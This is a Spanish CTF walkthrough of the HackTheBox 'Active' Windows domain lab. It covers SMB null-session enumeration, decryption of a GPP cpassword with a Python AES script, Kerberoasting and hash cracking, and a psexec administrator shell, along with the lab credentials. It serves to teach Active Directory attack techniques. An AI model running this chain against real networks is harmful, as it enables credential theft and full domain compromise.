Active

Publicado: 20 de Junio de 2025 Autor: José Miguel Romero aKa x3m1Sec Dificultad: ⭐ Easy OS: Windows Técnicas: GPP Password Decryption, Kerberoasting, SMB Enumeration
📝 Descripción
Active es una máquina Windows de dificultad Easy que simula un entorno de Active Directory real. La explotación se centra en la enumeración de recursos SMB accesibles sin autenticación, donde encontramos archivos de Group Policy Preferences (GPP) que contienen credenciales cifradas con una clave conocida públicamente.
Una vez obtenidas las credenciales del usuario de servicio SVC_TGS
, aprovechamos que este usuario está configurado con un SPN (Service Principal Name) para realizar un ataque de Kerberoasting, obteniendo el hash TGS del usuario Administrator y crackeándolo offline para conseguir acceso completo al dominio.
Esta máquina es perfecta para practicar técnicas fundamentales de enumeración en entornos Active Directory y entender las vulnerabilidades asociadas a configuraciones incorrectas de Group Policy Preferences.
🎯 Puntos Clave
🔍 Enumeración SMB sin credenciales
🔐 Explotación de Group Policy Preferences (GPP)
🎫 Kerberoasting Attack
📊 Enumeración de Active Directory
🛡️ Escalada de privilegios en entornos Windows
🔭 Reconocimiento
🏓 Ping para verificación en base a TTL
❯ ping -c2 10.10.10.100
PING 10.10.10.100 (10.10.10.100) 56(84) bytes of data.
64 bytes from 10.10.10.100: icmp_seq=1 ttl=127 time=78.6 ms
64 bytes from 10.10.10.100: icmp_seq=2 ttl=127 time=52.5 ms
--- 10.10.10.100 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1008ms
rtt min/avg/max/mdev = 52.500/65.526/78.552/13.026 ms
💡 Nota: El TTL cercano a 128 sugiere que probablemente sea una máquina Windows.
🚀 Escaneo de puertos
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.100 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)
echo $ports
53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49171,49173
🔍 Enumeración de servicios
nmap -sC -sV -p$ports 10.10.10.100 -oN services.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-19 19:23 CEST
Nmap scan report for 10.10.10.100
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-19 17:23:46Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
49171/tcp open msrpc Microsoft Windows RPC
49173/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-06-19T17:24:41
|_ start_date: 2025-06-19T16:31:35
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled and required
⚠️ Añadimos el siguiente vhost a nuestro fichero /etc/hosts:
echo "10.10.10.100 active.htb" | sudo tee -a /etc/hosts
📋 Análisis de Servicios Detectados
53
DNS
Microsoft DNS Server
88
Kerberos
Autenticación de dominio
389/636
LDAP/LDAPS
Directorio Active Directory
445
SMB
Recursos compartidos
464
Kpasswd
Cambio de contraseñas Kerberos
🌐 Enumeración de Servicios
🗂️ 445 SMB
Ya que no disponemos de credenciales, comenzamos tratando de enumerar recursos con una null session:

smbmap -H 10.10.10.100 -u '' -p '' -r
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 10.10.10.100:445 Name: active.htb Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ NO ACCESS Remote IPC
NETLOGON NO ACCESS Logon server share
Replication READ ONLY
./Replication
dr--r--r-- 0 Sat Jul 21 12:37:44 2018 .
dr--r--r-- 0 Sat Jul 21 12:37:44 2018 ..
dr--r--r-- 0 Sat Jul 21 12:37:44 2018 active.htb
SYSVOL NO ACCESS Logon server share
Users NO ACCESS
[*] Closed 1 connections
🎉 Encontramos que el recurso Replication
es accesible con permisos de lectura sin autenticación.
📁 Descarga del contenido de Replication
smbclient //10.10.10.100/Replication -N -c "cd active.htb; recurse ON; prompt OFF; mget *"

🔍 Análisis de Group Policy Preferences
En el directorio /Active/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/
encontramos un archivo Groups.xml que contiene credenciales cifradas:
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
<Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/>
</User>
</Groups>
🔐 Explotación de GPP (Group Policy Preferences)
🧠 ¿Qué es GPP y por qué es vulnerable?
Group Policy Preferences fue introducido en Windows Server 2008 para permitir a los administradores configurar ajustes que no estaban disponibles en las configuraciones tradicionales de Group Policy.
El problema: Microsoft utilizó una clave AES estática y públicamente conocida para cifrar las contraseñas en los archivos XML de GPP.
🔓 Descifrando la contraseña
🧰 Método 1: gpp-decrypt (Recomendado)
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
🧰 Método 2: Script Python personalizado
from Crypto.Cipher import AES
import base64
# Clave estática de Microsoft (públicamente conocida)
key = bytes.fromhex('4e9906e8fcb6b6bbb77c34fef5e4584d')
# cpassword extraído del XML
cpassword = "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
decoded = base64.b64decode(cpassword)
cipher = AES.new(key, AES.MODE_CBC, b'\x00' * 16)
plaintext = cipher.decrypt(decoded)
# Limpieza del padding
print(plaintext.rstrip(b"\x00").decode())
🎯 Credenciales Obtenidas
Usuario: SVC_TGS
Contraseña: GPPstillStandingStrong2k18
🔑 Acceso Inicial
📊 Validación de credenciales
netexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares

✅ ¡Credenciales válidas! Ahora tenemos acceso al recurso Users
.
🏁 Obteniendo la User Flag
smbclient -U 'SVC_TGS' \\\\10.10.10.100\\Users
Password for [WORKGROUP\SVC_TGS]: GPPstillStandingStrong2k18
smb: \> cd SVC_TGS\Desktop\
smb: \SVC_TGS\Desktop\> get user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.2 KiloBytes/sec)
🎉 User Flag obtenida!
🎫 Escalada de Privilegios - Kerberoasting
🔍 ¿Qué es Kerberoasting?
Kerberoasting es una técnica que aprovecha cuentas de servicio configuradas con SPNs (Service Principal Names) para extraer hashes TGS que pueden ser crackeados offline.
Enumeramos usuarios y formateamos la salida para volcarlos a un fichero de texto:
netexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --rid-brute 2>/dev/null | awk -F '\\' '{print $2}' | grep 'SidTypeUser' | sed 's/ (SidTypeUser)//' > Users.txt

🎯 Enumeración de usuarios con SPN
# Enumeración de usuarios del dominio
netexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --users
# Búsqueda específica de usuarios con SPN
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
💎 Extracción del hash TGS
# Solicitar ticket TGS para el usuario Administrator
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request -outputfile hashes.txt
# Ejemplo de hash obtenido:
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$[HASH_CONTENT]
🔨 Cracking del hash
Una vez obtenido el hash del TGS del usuario Administrator podemos intentar crackearlo offline usando John/Hashcat con el dicccionario rockyou.

# Usando hashcat
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
# Usando John the Ripper
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

🏆 Credenciales de Administrator
Usuario: Administrator
Contraseña: Ticketmaster1968
👑 Acceso como Administrator
🚀 Conexión con privilegios administrativos
# Validar credenciales de Administrator
netexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'
# Obtener shell como Administrator
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100

🏁 Root Flag
# Navegar al directorio del Administrator
cd C:\Users\Administrator\Desktop\
# Obtener la flag de root
type root.txt
🎉 Root Flag obtenida!
Last updated